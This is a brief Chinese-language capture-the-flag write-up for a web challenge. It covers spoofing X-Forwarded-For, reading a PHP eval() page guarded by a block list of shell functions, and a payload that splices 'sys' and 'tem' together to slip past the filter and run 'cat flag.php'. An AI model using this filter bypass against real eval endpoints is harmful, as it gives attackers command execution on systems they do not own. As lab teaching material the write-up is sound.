xmctf-web-web4-wp

web4

好几个四季了，我在等我的主人回来
key：e086aa137fa19f67d27b39d0eca18610

key扔cmd5解出1.1.1.1，可能为IP地址，放到请求头

X-Forwarded-For: 1.1.1.1

提示存在dhudndrgrhs.php，访问得到源代码

源代码

<?php
show_source(__FILE__);
error_reporting(0);
$disable_fun = ["assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$disable_fun = array_merge($disable_fun, get_defined_functions()['internal']);
foreach($disable_fun as $i){
    if(stristr($_GET[shell], $i)!==false){
        die('xmctf');
    }
}
eval($_GET[shell]); 

函数	描述
array_merge()	合并一个或多个数组
get_defined_functions()	返回所有已定义函数的数组
stristr ( string $haystack , mixed $needle , bool $before_needle = false ) : string	返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。

绕过

payload

#拼接变量
$a=sys;$b=tem;$c=$a.$b;$d='cat flag.php';$c($d);